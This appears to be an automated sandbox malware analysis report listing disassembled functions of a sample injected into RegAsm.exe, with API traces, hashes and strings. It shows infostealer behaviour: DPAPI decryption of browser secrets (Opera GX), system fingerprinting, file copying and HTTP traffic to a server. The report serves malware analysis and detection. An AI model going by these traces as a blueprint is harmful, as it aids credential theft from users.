Opcode ID: dfe6f9d21bf96b7ad8f7aa13af750eeaf95851b5835fc1b814bce3426a44844a
Instruction ID: dcee1bc03764bf305e5d38bce8bbad9893a31c8da79870b996d5c565213f1198
Opcode Fuzzy Hash: dfe6f9d21bf96b7ad8f7aa13af750eeaf95851b5835fc1b814bce3426a44844a
Instruction Fuzzy Hash: E5419330900641EFCB25EFA5EC429AD7B72FF14318F10653EE802722E1D7394A66CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040BBFC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040BC01

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 00406572: _EH_prolog.MSVCRT ref: 00406577
Part of subcall function 00406572: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 0040659A
Part of subcall function 00406572: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004065B1
Part of subcall function 00406572: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004065CD
Part of subcall function 00406572: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 004065E7
Part of subcall function 00406572: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406608

Part of subcall function 0040FA81: LocalAlloc.KERNEL32(00000040,00411BB2,00000001,00000000,?,00411BB1,00000000,00000000), ref: 0040FA9A

StrStrA.SHLWAPI(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040BC54

Part of subcall function 00406629: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00405D10,00000000,00000000), ref: 00406649
Part of subcall function 00406629: LocalAlloc.KERNEL32(00000040,00405D10,?,?,00405D10,00000000,?,?), ref: 00406657
Part of subcall function 00406629: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00405D10,00000000,00000000), ref: 0040666D
Part of subcall function 00406629: LocalFree.KERNEL32(00000000,?,?,00405D10,00000000,?,?), ref: 0040667C

memcmp.MSVCRT ref: 0040BC92

Part of subcall function 0040668C: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004066AF
Part of subcall function 0040668C: LocalAlloc.KERNEL32(00000040,?,?), ref: 004066C7
Part of subcall function 0040668C: LocalFree.KERNEL32(?), ref: 004066E5

Strings

, xrefs: 0040BCBD
DPAPI, xrefs: 0040BC8C

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeH_prologString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmp
String ID: $DPAPI
API String ID: 2477620391-1819349886
Opcode ID: 6705d7b9d2d74c03edc520fa141e5cd80852f45971dbf6a28ada8b69c953c2ec
Instruction ID: 5353c3052d3df6c0be11dd3c2b849ba4b41f36ab10acb197a87271172ba3cedb
Opcode Fuzzy Hash: 6705d7b9d2d74c03edc520fa141e5cd80852f45971dbf6a28ada8b69c953c2ec
Instruction Fuzzy Hash: B821D2B2D00109ABDF10ABA5CD069EFBB79EF54314F10053AF902B21D1FB3986558BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040F3C1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,004133DC,00000000,?,Windows: ,00000000,?,00424428,00000000,?,Work Dir: In memory), ref: 0040F3D5
HeapAlloc.KERNEL32(00000000,?,?,?,004133DC,00000000,?,Windows: ,00000000,?,00424428,00000000,?,Work Dir: In memory,00000000,?), ref: 0040F3DC
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00000000,?,?,?,004133DC,00000000,?,Windows: ,00000000,?,00424428,00000000,?), ref: 0040F40A
RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,?,?,?,004133DC,00000000,?,Windows: ,00000000,?,00424428,00000000), ref: 0040F426

Strings

Windows 11, xrefs: 0040F3ED

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: 4062fc6afbd60cd2796e4d7b40dec3e3d41bdd67d80b18e94c944201aa0ae4c8
Instruction ID: 3b662ffd084f31574f8dff2163645b9bc93353853d65e7b767f39584250602d2
Opcode Fuzzy Hash: 4062fc6afbd60cd2796e4d7b40dec3e3d41bdd67d80b18e94c944201aa0ae4c8
Instruction Fuzzy Hash: 1BF06271600205FBEB249BE1ED0AF6F7A7EEB84B10F105035BB01E61E0D7B49905DB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040E86C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,0040E8DE,0040F3E9,?,?,?,004133DC,00000000,?,Windows: ,00000000), ref: 0040E880
HeapAlloc.KERNEL32(00000000,?,?,?,0040E8DE,0040F3E9,?,?,?,004133DC,00000000,?,Windows: ,00000000,?,00424428), ref: 0040E887
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00000000,?,?,?,0040E8DE,0040F3E9,?,?,?,004133DC,00000000,?,Windows: ), ref: 0040E8A5
RegQueryValueExA.KERNEL32(00000000,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,0040E8DE,0040F3E9,?,?,?,004133DC,00000000), ref: 0040E8C0

Strings

CurrentBuildNumber, xrefs: 0040E8B8

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: f245f1a5fbb3bcbf1817930d0d22ef945f3eb32b02f2c90766712b82a3473776
Instruction ID: 996e46ad93e1047a7ffd0be31a036e5f3d08cb5a70cd59f05442ee8aac817961
Opcode Fuzzy Hash: f245f1a5fbb3bcbf1817930d0d22ef945f3eb32b02f2c90766712b82a3473776
Instruction Fuzzy Hash: BAF03072640204FBEB245BA1EC4BF6E7B7DEB84F05F201125F701A60D0E7B459019B68

Uniqueness

Uniqueness Score: -1.00%

Function 004093A2 Relevance: 7.8, APIs: 5, Instructions: 255filestringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004093A7

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 0040F870: _EH_prolog.MSVCRT ref: 0040F875
Part of subcall function 0040F870: GetSystemTime.KERNEL32(?,004242A8,00000001,00000000,00000000), ref: 0040F8B5

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00000000,?,00423AE2), ref: 00409449
lstrlen.KERNEL32(00000000), ref: 00409610
lstrlen.KERNEL32(00000000), ref: 00409624
DeleteFileA.KERNEL32(00000000), ref: 004096A3

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 3423466546-0
Opcode ID: 8c85b680785516db4629e8e1f8a424b33e9425085e6e6fa16d9de3fef5e297e2
Instruction ID: 8ae648a30327b2644a820ef24c5718470021b16630986db628039a20e1fd7356
Opcode Fuzzy Hash: 8c85b680785516db4629e8e1f8a424b33e9425085e6e6fa16d9de3fef5e297e2
Instruction Fuzzy Hash: 73B18231804148EACB09EBE6D955BDDBB74AF28308F50496EF402732C2EF785B19DB25

Uniqueness

Uniqueness Score: -1.00%

Function 6CD6C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CD6C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CD6C969
GetSystemInfo.KERNEL32(?), ref: 6CD6C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CD6C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CD6C9E2

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 451c60bb5403b91c1eca477b73e45a6b5fd6b348954ded5cb111d62623943c47
Instruction ID: 19db9f1da2812f419bde663c208b3b3ceab7460dc18c9799ff5634ccc7110ab9
Opcode Fuzzy Hash: 451c60bb5403b91c1eca477b73e45a6b5fd6b348954ded5cb111d62623943c47
Instruction Fuzzy Hash: 8F21FB31B41604ABEB046B35CC84BAE72BDEB86705F50011BFA4397E80DB307804C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0040F43A Relevance: 7.6, APIs: 5, Instructions: 62commemoryCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00424A78,00000000,00000001,00424298,00000000,?), ref: 0040F45A
SysAllocString.OLEAUT32(00000000), ref: 0040F468
_wtoi64.MSVCRT ref: 0040F4AA
SysFreeString.OLEAUT32(?), ref: 0040F4BF
SysFreeString.OLEAUT32(00000000), ref: 0040F4C2

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateInstance_wtoi64
String ID:
API String ID: 1817501562-0
Opcode ID: ed72fcf0c2035882c8e916bc95bc5d3d274c07c467df511f5fa18a5728e37a4e
Instruction ID: 19ba6aa7e825d37cfb73e992542b569313bb2b34551c043cffc42f9c3024fc6b
Opcode Fuzzy Hash: ed72fcf0c2035882c8e916bc95bc5d3d274c07c467df511f5fa18a5728e37a4e
Instruction Fuzzy Hash: 64118134A00218BFDB10CFA5D848B9E7FB9EF85754F1480BAE804EB251D775D506CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040CFCF Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 457COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040CFD4

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

StrCmpCA.SHLWAPI(00000000,Opera GX,00423B0B,00423B0A,?,?,?), ref: 0040D01E

Part of subcall function 0040FA35: SHGetFolderPathA.SHELL32(00000000,f;B,00000000,00000000,?), ref: 0040FA66

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 0040F9F1: _EH_prolog.MSVCRT ref: 0040F9F6
Part of subcall function 0040F9F1: GetFileAttributesA.KERNEL32(00000000,?,0040D3CF,?,?,?,?), ref: 0040FA0A

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 0040BBFC: _EH_prolog.MSVCRT ref: 0040BC01
Part of subcall function 0040BBFC: StrStrA.SHLWAPI(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040BC54
Part of subcall function 0040BBFC: memcmp.MSVCRT ref: 0040BC92

Strings

#, xrefs: 0040D4E2
Opera GX, xrefs: 0040D006

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrcat$AttributesFileFolderPathlstrlenmemcmp
String ID: #$Opera GX
API String ID: 2375657845-1046280356
Opcode ID: eed6a1fa4410d3297040b25a9b788ecdff685f4e891abf802b403ea1ab65200c
Instruction ID: 490de2c519b396cfa38cbd201c96935d98327283955e7164dff2ae51ab5a58a2
Opcode Fuzzy Hash: eed6a1fa4410d3297040b25a9b788ecdff685f4e891abf802b403ea1ab65200c
Instruction Fuzzy Hash: F2028071C0028CEADF05EBE5D946ADDBBB8AF19308F50496EF401732C1EA785718D766

Uniqueness

Uniqueness Score: -1.00%

Function 00411D06 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 94stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00411D0B
lstrlen.KERNEL32(00000000), ref: 00411D28
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00411DEC

Strings

ERROR, xrefs: 00411DE6

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrlen
String ID: ERROR
API String ID: 2133942097-2861137601
Opcode ID: 4cc503b74355bdd4f9288a563c266c2ef5c6b82267fb2c13523f502a1b5850cd
Instruction ID: d6c252f13a4617f7ad1570df099007441c7ea7cac36f3f0435f3b9ccf977c240
Opcode Fuzzy Hash: 4cc503b74355bdd4f9288a563c266c2ef5c6b82267fb2c13523f502a1b5850cd
Instruction Fuzzy Hash: 76316272900248EFCB04EFAAD846BDD7BB4AF14318F10842EF405B72D1DB389654C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 00411A1D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00411A22

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 0040532C: _EH_prolog.MSVCRT ref: 00405331
Part of subcall function 0040532C: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405394
Part of subcall function 0040532C: StrCmpCA.SHLWAPI(?), ref: 004053A8
Part of subcall function 0040532C: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004053CB
Part of subcall function 0040532C: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405401
Part of subcall function 0040532C: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405425
Part of subcall function 0040532C: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405430
Part of subcall function 0040532C: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 0040544E

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00411A7D

Strings

ERROR, xrefs: 00411AA5
ERROR, xrefs: 00411A6B

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HttpInternet$H_prologOpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 1120091252-2579291623
Opcode ID: 91f460ddf6bcaac76f045fdfdde7ac771a6177df3d1d165e4ade5bc1b708ee71
Instruction ID: 469977ef9a47d161048f8b2cbd7cac32d3bbaae7c79d94ae5ba790c070182d97
Opcode Fuzzy Hash: 91f460ddf6bcaac76f045fdfdde7ac771a6177df3d1d165e4ade5bc1b708ee71
Instruction Fuzzy Hash: E1219274900248EECB04EBE6C9467DC7BB4AF18348F50445EF815732C2DB789B18CB66

Uniqueness

Uniqueness Score: -1.00%

Function 00414F14 Relevance: 6.5, APIs: 4, Instructions: 546networksleepCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00414F19

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 00411EDD: _EH_prolog.MSVCRT ref: 00411EE2

Part of subcall function 00411F80: _EH_prolog.MSVCRT ref: 00411F85

Part of subcall function 0040E5F4: lstrlen.KERNEL32(?,00000000,?,00414F6E,004243BA,004243B7,00000000,00000000,?,00415729), ref: 0040E5FD
Part of subcall function 0040E5F4: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E631

Part of subcall function 00415A5B: GetProcAddress.KERNEL32(756D0000,00415033), ref: 00415A6F
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415A86
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415A9D
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415AB4
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415ACB
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415AE2
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415AF9
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415B10
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415B27
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415B3E
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415B55
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415B6C
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415B83
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415B9A
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415BB1
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415BC8
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415BDF
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415BF6
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415C0D
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415C24
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415C3B
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415C52
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415C69
Part of subcall function 00415A5B: GetProcAddress.KERNEL32(?,00415729), ref: 00415C80

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 004121E7: _EH_prolog.MSVCRT ref: 004121EC

Part of subcall function 00411C75: _EH_prolog.MSVCRT ref: 00411C7A

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00415127
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041513D

Part of subcall function 0040F253: _EH_prolog.MSVCRT ref: 0040F258
Part of subcall function 0040F253: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,?,00000000), ref: 0040F27B
Part of subcall function 0040F253: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000), ref: 0040F2AD
Part of subcall function 0040F253: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 0040F2F0
Part of subcall function 0040F253: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 0040F2F7

Part of subcall function 00403F1B: _EH_prolog.MSVCRT ref: 00403F20
Part of subcall function 00403F1B: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00403FCB
Part of subcall function 00403F1B: StrCmpCA.SHLWAPI(?), ref: 00403FE2

Part of subcall function 004108DF: _EH_prolog.MSVCRT ref: 004108E4
Part of subcall function 004108DF: StrCmpCA.SHLWAPI(00000000,block,00000000,?,?,004151B2), ref: 00410906
Part of subcall function 004108DF: ExitProcess.KERNEL32 ref: 00410911

Part of subcall function 0040554E: _EH_prolog.MSVCRT ref: 00405553
Part of subcall function 0040554E: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004055FE
Part of subcall function 0040554E: StrCmpCA.SHLWAPI(?), ref: 00405615

Part of subcall function 004103CB: _EH_prolog.MSVCRT ref: 004103D0
Part of subcall function 004103CB: strtok_s.MSVCRT ref: 004103F7
Part of subcall function 004103CB: StrCmpCA.SHLWAPI(00000000,00424378,?,?,?,?,0041533E), ref: 00410428
Part of subcall function 004103CB: strtok_s.MSVCRT ref: 00410489

Part of subcall function 00401DD6: _EH_prolog.MSVCRT ref: 00401DDB

Part of subcall function 0040554E: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040579D
